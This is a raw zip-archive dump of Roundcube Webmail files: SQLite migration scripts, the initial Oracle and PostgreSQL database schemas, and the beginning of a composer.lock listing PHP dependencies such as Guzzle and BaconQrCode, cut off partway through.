PKh�\�����SQL/sqlite/2010100600.sqlnu�[���-- Updates from version 0.4.2

DROP INDEX ix_users_username;
CREATE UNIQUE INDEX ix_users_username ON users(username, mail_host);

CREATE TABLE contacts_tmp (
    contact_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL default '0',
    changed datetime NOT NULL default '0000-00-00 00:00:00',
    del tinyint NOT NULL default '0',
    name varchar(128) NOT NULL default '',
    email varchar(255) NOT NULL default '',
    firstname varchar(128) NOT NULL default '',
    surname varchar(128) NOT NULL default '',
    vcard text NOT NULL default ''
);

INSERT INTO contacts_tmp (contact_id, user_id, changed, del, name, email, firstname, surname, vcard)
    SELECT contact_id, user_id, changed, del, name, email, firstname, surname, vcard FROM contacts;

DROP TABLE contacts;
CREATE TABLE contacts (
    contact_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL default '0',
    changed datetime NOT NULL default '0000-00-00 00:00:00',
    del tinyint NOT NULL default '0',
    name varchar(128) NOT NULL default '',
    email varchar(255) NOT NULL default '',
    firstname varchar(128) NOT NULL default '',
    surname varchar(128) NOT NULL default '',
    vcard text NOT NULL default ''
);

INSERT INTO contacts (contact_id, user_id, changed, del, name, email, firstname, surname, vcard)
    SELECT contact_id, user_id, changed, del, name, email, firstname, surname, vcard FROM contacts_tmp;

CREATE INDEX ix_contacts_user_id ON contacts(user_id, email);
DROP TABLE contacts_tmp;

DELETE FROM messages;
PKh�\�yzYSQL/sqlite/2015111100.sqlnu�[���CREATE TABLE tmp_users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(5),
  preferences text NOT NULL default ''
);

INSERT INTO tmp_users (user_id, username, mail_host, created, last_login, language, preferences)
    SELECT user_id, username, mail_host, created, last_login, language, preferences FROM users;

DROP TABLE users;

CREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(5),
  preferences text NOT NULL default ''
);

INSERT INTO users (user_id, username, mail_host, created, last_login, language, preferences)
    SELECT user_id, username, mail_host, created, last_login, language, preferences FROM tmp_users;

CREATE UNIQUE INDEX ix_users_username ON users(username, mail_host);

DROP TABLE tmp_users;
PKh�\]?rSQL/sqlite/2014042900.sqlnu�[���-- emptyPKh�\��/�o!o!SQL/oracle.initial.sqlnu�[���-- Roundcube Webmail initial database structure
-- This was tested with Oracle 11g

CREATE TABLE "users" (
    "user_id" integer PRIMARY KEY,
    "username" varchar(128) NOT NULL,
    "mail_host" varchar(128) NOT NULL,
    "created" timestamp with time zone DEFAULT current_timestamp NOT NULL,
    "last_login" timestamp with time zone DEFAULT NULL,
    "failed_login" timestamp with time zone DEFAULT NULL,
    "failed_login_counter" integer DEFAULT NULL,
    "language" varchar(16),
    "preferences" long DEFAULT NULL,
    CONSTRAINT "users_username_key" UNIQUE ("username", "mail_host")
);

CREATE SEQUENCE "users_seq"
    START WITH 1 INCREMENT BY 1 NOMAXVALUE;

CREATE TRIGGER "users_seq_trig"
BEFORE INSERT ON "users" FOR EACH ROW
BEGIN
    :NEW."user_id" := "users_seq".nextval;
END;
/

CREATE TABLE "session" (
    "sess_id" varchar(128) NOT NULL PRIMARY KEY,
    "changed" timestamp with time zone DEFAULT current_timestamp NOT NULL,
    "ip" varchar(41) NOT NULL,
    "vars" long NOT NULL
);

CREATE INDEX "session_changed_idx" ON "session" ("changed");


CREATE TABLE "identities" (
    "identity_id" integer PRIMARY KEY,
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "changed" timestamp with time zone DEFAULT current_timestamp NOT NULL,
    "del" smallint DEFAULT 0 NOT NULL,
    "standard" smallint DEFAULT 0 NOT NULL,
    "name" varchar(128) NOT NULL,
    "organization" varchar(128),
    "email" varchar(128) NOT NULL,
    "reply-to" varchar(128),
    "bcc" varchar(128),
    "signature" long,
    "html_signature" integer DEFAULT 0 NOT NULL
);

CREATE INDEX "identities_user_id_idx" ON "identities" ("user_id", "del");
CREATE INDEX "identities_email_idx" ON "identities" ("email", "del");

CREATE SEQUENCE "identities_seq"
    START WITH 1 INCREMENT BY 1 NOMAXVALUE;

CREATE TRIGGER "identities_seq_trig"
BEFORE INSERT ON "identities" FOR EACH ROW
BEGIN
    :NEW."identity_id" := "identities_seq".nextval;
END;
/


CREATE TABLE "responses" (
    "response_id" integer PRIMARY KEY,
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "changed" timestamp with time zone DEFAULT current_timestamp NOT NULL,
    "del" smallint DEFAULT 0 NOT NULL,
    "name" varchar(128) NOT NULL,
    "data" long NOT NULL,
    "is_html" smallint DEFAULT 0 NOT NULL
);

CREATE INDEX "responses_user_id_idx" ON "responses" ("user_id", "del");

CREATE SEQUENCE "responses_seq"
    START WITH 1 INCREMENT BY 1 NOMAXVALUE;

CREATE TRIGGER "responses_seq_trig"
BEFORE INSERT ON "responses" FOR EACH ROW
BEGIN
    :NEW."response_id" := "response_seq".nextval;
END;
/


CREATE TABLE "collected_addresses" (
    "address_id" integer PRIMARY KEY,
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "changed" timestamp with time zone DEFAULT current_timestamp NOT NULL,
    "name" varchar(255) DEFAULT NULL,
    "email" varchar(255) DEFAULT NULL,
    "type" integer NOT NULL
);

CREATE UNIQUE INDEX "collected_addresses_user_id_idx" ON "collected_addresses" ("user_id", "type", "email");

CREATE SEQUENCE "collected_addresses_seq"
    START WITH 1 INCREMENT BY 1 NOMAXVALUE;

CREATE TRIGGER "collected_addresses_seq_trig"
BEFORE INSERT ON "collected_addresses" FOR EACH ROW
BEGIN
    :NEW."address_id" := "collected_addresses_seq".nextval;
END;
/

CREATE TABLE "contacts" (
    "contact_id" integer PRIMARY KEY,
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "changed" timestamp with time zone DEFAULT current_timestamp NOT NULL,
    "del" smallint DEFAULT 0 NOT NULL,
    "name" varchar(128) DEFAULT NULL,
    "email" varchar(4000) DEFAULT NULL,
    "firstname" varchar(128) DEFAULT NULL,
    "surname" varchar(128) DEFAULT NULL,
    "vcard" long,
    "words" varchar(4000)
);

CREATE INDEX "contacts_user_id_idx" ON "contacts" ("user_id", "del");

CREATE SEQUENCE "contacts_seq"
    START WITH 1 INCREMENT BY 1 NOMAXVALUE;

CREATE TRIGGER "contacts_seq_trig"
BEFORE INSERT ON "contacts" FOR EACH ROW
BEGIN
    :NEW."contact_id" := "contacts_seq".nextval;
END;
/

CREATE TABLE "contactgroups" (
    "contactgroup_id" integer PRIMARY KEY,
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "changed" timestamp with time zone DEFAULT current_timestamp NOT NULL,
    "del" smallint DEFAULT 0 NOT NULL,
    "name" varchar(128) NOT NULL
);

CREATE INDEX "contactgroups_user_id_idx" ON "contactgroups" ("user_id", "del");

CREATE SEQUENCE "contactgroups_seq"
    START WITH 1 INCREMENT BY 1 NOMAXVALUE;

CREATE TRIGGER "contactgroups_seq_trig"
BEFORE INSERT ON "contactgroups" FOR EACH ROW
BEGIN
    :NEW."contactgroup_id" := "contactgroups_seq".nextval;
END;
/

CREATE TABLE "contactgroupmembers" (
    "contactgroup_id" integer NOT NULL
        REFERENCES "contactgroups" ("contactgroup_id") ON DELETE CASCADE,
    "contact_id" integer NOT NULL
        REFERENCES "contacts" ("contact_id") ON DELETE CASCADE,
    "created" timestamp with time zone DEFAULT current_timestamp NOT NULL,
    PRIMARY KEY ("contactgroup_id", "contact_id")
);

CREATE INDEX "contactgroupmembers_idx" ON "contactgroupmembers" ("contact_id");


CREATE TABLE "cache" (
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "cache_key" varchar(128) NOT NULL,
    "expires" timestamp with time zone DEFAULT NULL,
    "data" long NOT NULL,
    PRIMARY KEY ("user_id", "cache_key")
);

CREATE INDEX "cache_expires_idx" ON "cache" ("expires");


CREATE TABLE "cache_shared" (
    "cache_key" varchar(255) NOT NULL,
    "expires" timestamp with time zone DEFAULT NULL,
    "data" long NOT NULL,
    PRIMARY KEY ("cache_key")
);

CREATE INDEX "cache_shared_expires_idx" ON "cache_shared" ("expires");


CREATE TABLE "cache_index" (
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "mailbox" varchar(255) NOT NULL,
    "expires" timestamp with time zone DEFAULT NULL,
    "valid" smallint DEFAULT 0 NOT NULL,
    "data" long NOT NULL,
    PRIMARY KEY ("user_id", "mailbox")
);

CREATE INDEX "cache_index_expires_idx" ON "cache_index" ("expires");


CREATE TABLE "cache_thread" (
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "mailbox" varchar(255) NOT NULL,
    "expires" timestamp with time zone DEFAULT NULL,
    "data" long NOT NULL,
    PRIMARY KEY ("user_id", "mailbox")
);

CREATE INDEX "cache_thread_expires_idx" ON "cache_thread" ("expires");


CREATE TABLE "cache_messages" (
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "mailbox" varchar(255) NOT NULL,
    "uid" integer NOT NULL,
    "expires" timestamp with time zone DEFAULT NULL,
    "data" long NOT NULL,
    "flags" integer DEFAULT 0 NOT NULL,
    PRIMARY KEY ("user_id", "mailbox", "uid")
);

CREATE INDEX "cache_messages_expires_idx" ON "cache_messages" ("expires");


CREATE TABLE "dictionary" (
    "user_id" integer DEFAULT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "language" varchar(16) NOT NULL,
    "data" long DEFAULT NULL,
    CONSTRAINT "dictionary_user_id_lang_key" UNIQUE ("user_id", "language")
);


CREATE TABLE "searches" (
    "search_id" integer PRIMARY KEY,
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "type" smallint DEFAULT 0 NOT NULL,
    "name" varchar(128) NOT NULL,
    "data" long NOT NULL,
    CONSTRAINT "searches_user_id_key" UNIQUE ("user_id", "type", "name")
);

CREATE SEQUENCE "searches_seq"
    START WITH 1 INCREMENT BY 1 NOMAXVALUE;

CREATE TRIGGER "searches_seq_trig"
BEFORE INSERT ON "searches" FOR EACH ROW
BEGIN
    :NEW."search_id" := "searches_seq".nextval;
END;
/

CREATE TABLE "filestore" (
    "file_id" integer PRIMARY KEY,
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE ON UPDATE CASCADE,
    "context" varchar(32) NOT NULL,
    "filename" varchar(128) NOT NULL,
    "mtime" integer NOT NULL,
    "data" long,
    CONSTRAINT "filestore_user_id_key" UNIQUE ("user_id", "context", "filename")
);

CREATE SEQUENCE "filestore_seq"
    START WITH 1 INCREMENT BY 1 NOMAXVALUE;

CREATE TRIGGER "filestore_seq_trig"
BEFORE INSERT ON "filestore" FOR EACH ROW
BEGIN
    :NEW."user_id" := "filestore_seq".nextval;
END;
/

CREATE TABLE "system" (
    "name" varchar(64) NOT NULL PRIMARY KEY,
    "value" long
);

INSERT INTO "system" ("name", "value") VALUES ('roundcube-version', '2022081200');
PKh�\��<�W'W'SQL/postgres.initial.sqlnu�[���-- Roundcube Webmail initial database structure

--
-- Sequence "users_seq"
-- Name: users_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--

CREATE SEQUENCE users_seq
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

--
-- Table "users"
-- Name: users; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE users (
    user_id integer DEFAULT nextval('users_seq'::text) PRIMARY KEY,
    username varchar(128) DEFAULT '' NOT NULL,
    mail_host varchar(128) DEFAULT '' NOT NULL,
    created timestamp with time zone DEFAULT now() NOT NULL,
    last_login timestamp with time zone,
    failed_login timestamp with time zone,
    failed_login_counter integer,
    "language" varchar(16),
    preferences text,
    CONSTRAINT users_username_key UNIQUE (username, mail_host)
);


--
-- Table "session"
-- Name: session; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE "session" (
    sess_id varchar(128) DEFAULT '' PRIMARY KEY,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    ip varchar(41) NOT NULL,
    vars text NOT NULL
);

CREATE INDEX session_changed_idx ON session (changed);


--
-- Sequence "identities_seq"
-- Name: identities_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--

CREATE SEQUENCE identities_seq
    START WITH 1
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

--
-- Table "identities"
-- Name: identities; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE identities (
    identity_id integer DEFAULT nextval('identities_seq'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    del smallint DEFAULT 0 NOT NULL,
    standard smallint DEFAULT 0 NOT NULL,
    name varchar(128) NOT NULL,
    organization varchar(128),
    email varchar(128) NOT NULL,
    "reply-to" varchar(128),
    bcc varchar(128),
    signature text,
    html_signature smallint DEFAULT 0 NOT NULL
);

CREATE INDEX identities_user_id_idx ON identities (user_id, del);
CREATE INDEX identities_email_idx ON identities (email, del);


--
-- Sequence "responses_seq"
-- Name: responses_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--

CREATE SEQUENCE responses_seq
    START WITH 1
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

--
-- Table "responses"
-- Name: responses; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE responses (
    response_id integer DEFAULT nextval('responses_seq'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    del smallint DEFAULT 0 NOT NULL,
    name varchar(255) NOT NULL,
    data text NOT NULL,
    is_html smallint DEFAULT 0 NOT NULL
);

CREATE INDEX responses_user_id_idx ON responses (user_id, del);


--
-- Sequence "collected_addresses_seq"
-- Name: collected_addresses_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--

CREATE SEQUENCE collected_addresses_seq
    START WITH 1
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

--
-- Table "collected_addresses"
-- Name: collected_addresses; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE collected_addresses (
    address_id integer DEFAULT nextval('collected_addresses_seq'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    name varchar(255) DEFAULT '' NOT NULL,
    email varchar(255) NOT NULL,
    "type" integer NOT NULL
);

CREATE UNIQUE INDEX collected_addresses_user_id_idx ON collected_addresses (user_id, "type", email);


--
-- Sequence "contacts_seq"
-- Name: contacts_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--

CREATE SEQUENCE contacts_seq
    START WITH 1
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

--
-- Table "contacts"
-- Name: contacts; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE contacts (
    contact_id integer DEFAULT nextval('contacts_seq'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    del smallint DEFAULT 0 NOT NULL,
    name varchar(128) DEFAULT '' NOT NULL,
    email text DEFAULT '' NOT NULL,
    firstname varchar(128) DEFAULT '' NOT NULL,
    surname varchar(128) DEFAULT '' NOT NULL,
    vcard text,
    words text
);

CREATE INDEX contacts_user_id_idx ON contacts (user_id, del);

--
-- Sequence "contactgroups_seq"
-- Name: contactgroups_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--

CREATE SEQUENCE contactgroups_seq
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

--
-- Table "contactgroups"
-- Name: contactgroups; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE contactgroups (
    contactgroup_id integer DEFAULT nextval('contactgroups_seq'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users(user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    changed timestamp with time zone DEFAULT now() NOT NULL,
    del smallint NOT NULL DEFAULT 0,
    name varchar(128) NOT NULL DEFAULT ''
);

CREATE INDEX contactgroups_user_id_idx ON contactgroups (user_id, del);

--
-- Table "contactgroupmembers"
-- Name: contactgroupmembers; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE contactgroupmembers (
    contactgroup_id integer NOT NULL
        REFERENCES contactgroups(contactgroup_id) ON DELETE CASCADE ON UPDATE CASCADE,
    contact_id integer NOT NULL
        REFERENCES contacts(contact_id) ON DELETE CASCADE ON UPDATE CASCADE,
    created timestamp with time zone DEFAULT now() NOT NULL,
    PRIMARY KEY (contactgroup_id, contact_id)
);

CREATE INDEX contactgroupmembers_contact_id_idx ON contactgroupmembers (contact_id);

--
-- Table "cache"
-- Name: cache; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE "cache" (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    cache_key varchar(128) DEFAULT '' NOT NULL,
    expires timestamp with time zone,
    data text NOT NULL,
    PRIMARY KEY (user_id, cache_key)
);

CREATE INDEX cache_expires_idx ON "cache" (expires);

--
-- Table "cache_shared"
-- Name: cache_shared; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE "cache_shared" (
    cache_key varchar(255) NOT NULL PRIMARY KEY,
    expires timestamp with time zone,
    data text NOT NULL
);

CREATE INDEX cache_shared_expires_idx ON "cache_shared" (expires);

--
-- Table "cache_index"
-- Name: cache_index; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE cache_index (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires timestamp with time zone,
    valid smallint NOT NULL DEFAULT 0,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);

CREATE INDEX cache_index_expires_idx ON cache_index (expires);

--
-- Table "cache_thread"
-- Name: cache_thread; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE cache_thread (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires timestamp with time zone,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);

CREATE INDEX cache_thread_expires_idx ON cache_thread (expires);

--
-- Table "cache_messages"
-- Name: cache_messages; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE cache_messages (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    uid integer NOT NULL,
    expires timestamp with time zone,
    data text NOT NULL,
    flags integer NOT NULL DEFAULT 0,
    PRIMARY KEY (user_id, mailbox, uid)
);

CREATE INDEX cache_messages_expires_idx ON cache_messages (expires);

--
-- Table "dictionary"
-- Name: dictionary; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE dictionary (
    user_id integer
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
   "language" varchar(16) NOT NULL,
    data text NOT NULL,
    CONSTRAINT dictionary_user_id_language_key UNIQUE (user_id, "language")
);

--
-- Sequence "searches_seq"
-- Name: searches_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--

CREATE SEQUENCE searches_seq
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

--
-- Table "searches"
-- Name: searches; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE searches (
    search_id integer DEFAULT nextval('searches_seq'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    "type" smallint DEFAULT 0 NOT NULL,
    name varchar(128) NOT NULL,
    data text NOT NULL,
    CONSTRAINT searches_user_id_key UNIQUE (user_id, "type", name)
);

--
-- Sequence "filestore_seq"
-- Name: filestore_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--

CREATE SEQUENCE "filestore_seq"
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;

--
-- Table "filestore"
-- Name: filestore; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE "filestore" (
    file_id integer DEFAULT nextval('filestore_seq'::text) PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    context varchar(32) NOT NULL,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL,
    CONSTRAINT filestore_user_id_filename UNIQUE (user_id, context, filename)
);

--
-- Table "system"
-- Name: system; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE "system" (
    name varchar(64) NOT NULL PRIMARY KEY,
    value text
);

INSERT INTO "system" (name, value) VALUES ('roundcube-version', '2022081200');
PKh�\�����
composer.locknu�[���{
    "_readme": [
        "This file locks the dependencies of your project to a known state",
        "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
        "This file is @generated automatically"
    ],
    "content-hash": "d30534b7ccef70d5be1f4ba9bc89dbe4",
    "packages": [
        {
            "name": "bacon/bacon-qr-code",
            "version": "2.0.8",
            "source": {
                "type": "git",
                "url": "https://github.com/Bacon/BaconQrCode.git",
                "reference": "8674e51bb65af933a5ffaf1c308a660387c35c22"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/Bacon/BaconQrCode/zipball/8674e51bb65af933a5ffaf1c308a660387c35c22",
                "reference": "8674e51bb65af933a5ffaf1c308a660387c35c22",
                "shasum": ""
            },
            "require": {
                "dasprid/enum": "^1.0.3",
                "ext-iconv": "*",
                "php": "^7.1 || ^8.0"
            },
            "require-dev": {
                "phly/keep-a-changelog": "^2.1",
                "phpunit/phpunit": "^7 | ^8 | ^9",
                "spatie/phpunit-snapshot-assertions": "^4.2.9",
                "squizlabs/php_codesniffer": "^3.4"
            },
            "suggest": {
                "ext-imagick": "to generate QR code images"
            },
            "type": "library",
            "autoload": {
                "psr-4": {
                    "BaconQrCode\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Ben Scholzen 'DASPRiD'",
                    "email": "mail@dasprids.de",
                    "homepage": "https://dasprids.de/",
                    "role": "Developer"
                }
            ],
            "description": "BaconQrCode is a QR code generator for PHP.",
            "homepage": "https://github.com/Bacon/BaconQrCode",
            "support": {
                "issues": "https://github.com/Bacon/BaconQrCode/issues",
                "source": "https://github.com/Bacon/BaconQrCode/tree/2.0.8"
            },
            "time": "2022-12-07T17:46:57+00:00"
        },
        {
            "name": "dasprid/enum",
            "version": "1.0.5",
            "source": {
                "type": "git",
                "url": "https://github.com/DASPRiD/Enum.git",
                "reference": "6faf451159fb8ba4126b925ed2d78acfce0dc016"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/DASPRiD/Enum/zipball/6faf451159fb8ba4126b925ed2d78acfce0dc016",
                "reference": "6faf451159fb8ba4126b925ed2d78acfce0dc016",
                "shasum": ""
            },
            "require": {
                "php": ">=7.1 <9.0"
            },
            "require-dev": {
                "phpunit/phpunit": "^7 | ^8 | ^9",
                "squizlabs/php_codesniffer": "*"
            },
            "type": "library",
            "autoload": {
                "psr-4": {
                    "DASPRiD\\Enum\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Ben Scholzen 'DASPRiD'",
                    "email": "mail@dasprids.de",
                    "homepage": "https://dasprids.de/",
                    "role": "Developer"
                }
            ],
            "description": "PHP 7.1 enum implementation",
            "keywords": [
                "enum",
                "map"
            ],
            "support": {
                "issues": "https://github.com/DASPRiD/Enum/issues",
                "source": "https://github.com/DASPRiD/Enum/tree/1.0.5"
            },
            "time": "2023-08-25T16:18:39+00:00"
        },
        {
            "name": "guzzlehttp/guzzle",
            "version": "7.8.1",
            "source": {
                "type": "git",
                "url": "https://github.com/guzzle/guzzle.git",
                "reference": "41042bc7ab002487b876a0683fc8dce04ddce104"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/41042bc7ab002487b876a0683fc8dce04ddce104",
                "reference": "41042bc7ab002487b876a0683fc8dce04ddce104",
                "shasum": ""
            },
            "require": {
                "ext-json": "*",
                "guzzlehttp/promises": "^1.5.3 || ^2.0.1",
                "guzzlehttp/psr7": "^1.9.1 || ^2.5.1",
                "php": "^7.2.5 || ^8.0",
                "psr/http-client": "^1.0",
                "symfony/deprecation-contracts": "^2.2 || ^3.0"
            },
            "provide": {
                "psr/http-client-implementation": "1.0"
            },
            "require-dev": {
                "bamarni/composer-bin-plugin": "^1.8.2",
                "ext-curl": "*",
                "php-http/client-integration-tests": "dev-master#2c025848417c1135031fdf9c728ee53d0a7ceaee as 3.0.999",
                "php-http/message-factory": "^1.1",
                "phpunit/phpunit": "^8.5.36 || ^9.6.15",
                "psr/log": "^1.1 || ^2.0 || ^3.0"
            },
            "suggest": {
                "ext-curl": "Required for CURL handler support",
                "ext-intl": "Required for Internationalized Domain Name (IDN) support",
                "psr/log": "Required for using the Log middleware"
            },
            "type": "library",
            "extra": {
                "bamarni-bin": {
                    "bin-links": true,
                    "forward-command": false
                }
            },
            "autoload": {
                "files": [
                    "src/functions_include.php"
                ],
                "psr-4": {
                    "GuzzleHttp\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Graham Campbell",
                    "email": "hello@gjcampbell.co.uk",
                    "homepage": "https://github.com/GrahamCampbell"
                },
                {
                    "name": "Michael Dowling",
                    "email": "mtdowling@gmail.com",
                    "homepage": "https://github.com/mtdowling"
                },
                {
                    "name": "Jeremy Lindblom",
                    "email": "jeremeamia@gmail.com",
                    "homepage": "https://github.com/jeremeamia"
                },
                {
                    "name": "George Mponos",
                    "email": "gmponos@gmail.com",
                    "homepage": "https://github.com/gmponos"
                },
                {
                    "name": "Tobias Nyholm",
                    "email": "tobias.nyholm@gmail.com",
                    "homepage": "https://github.com/Nyholm"
                },
                {
                    "name": "Márk Sági-Kazár",
                    "email": "mark.sagikazar@gmail.com",
                    "homepage": "https://github.com/sagikazarmark"
                },
                {
                    "name": "Tobias Schultze",
                    "email": "webmaster@tubo-world.de",
                    "homepage": "https://github.com/Tobion"
                }
            ],
            "description": "Guzzle is a PHP HTTP client library",
            "keywords": [
                "client",
                "curl",
                "framework",
                "http",
                "http client",
                "psr-18",
                "psr-7",
                "rest",
                "web service"
            ],
            "support": {
                "issues": "https://github.com/guzzle/guzzle/issues",
                "source": "https://github.com/guzzle/guzzle/tree/7.8.1"
            },
            "funding": [
                {
                    "url": "https://github.com/GrahamCampbell",
                    "type": "github"
                },
                {
                    "url": "https://github.com/Nyholm",
                    "type": "github"
                },
                {
                    "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/guzzle",
                    "type": "tidelift"
                }
            ],
            "time": "2023-12-03T20:35:24+00:00"
        },
        {
            "name": "guzzlehttp/promises",
            "version": "2.0.2",
            "source": {
                "type": "git",
                "url": "https://github.com/guzzle/promises.git",
                "reference": "bbff78d96034045e58e13dedd6ad91b5d1253223"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/guzzle/promises/zipball/bbff78d96034045e58e13dedd6ad91b5d1253223",
                "reference": "bbff78d96034045e58e13dedd6ad91b5d1253223",
                "shasum": ""
            },
            "require": {
                "php": "^7.2.5 || ^8.0"
            },
            "require-dev": {
                "bamarni/composer-bin-plugin": "^1.8.2",
                "phpunit/phpunit": "^8.5.36 || ^9.6.15"
            },
            "type": "library",
            "extra": {
                "bamarni-bin": {
                    "bin-links": true,
                    "forward-command": false
                }
            },
            "autoload": {
                "psr-4": {
                    "GuzzleHttp\\Promise\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Graham Campbell",
                    "email": "hello@gjcampbell.co.uk",
                    "homepage": "https://github.com/GrahamCampbell"
                },
                {
                    "name": "Michael Dowling",
                    "email": "mtdowling@gmail.com",
                    "homepage": "https://github.com/mtdowling"
                },
                {
                    "name": "Tobias Nyholm",
                    "email": "tobias.nyholm@gmail.com",
                    "homepage": "https://github.com/Nyholm"
                },
                {
                    "name": "Tobias Schultze",
                    "email": "webmaster@tubo-world.de",
                    "homepage": "https://github.com/Tobion"
                }
            ],
            "description": "Guzzle promises library",
            "keywords": [
                "promise"
            ],
            "support": {
                "issues": "https://github.com/guzzle/promises/issues",
                "source": "https://github.com/guzzle/promises/tree/2.0.2"
            },
            "funding": [
                {
                    "url": "https://github.com/GrahamCampbell",
                    "type": "github"
                },
                {
                    "url": "https://github.com/Nyholm",
                    "type": "github"
                },
                {
                    "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/promises",
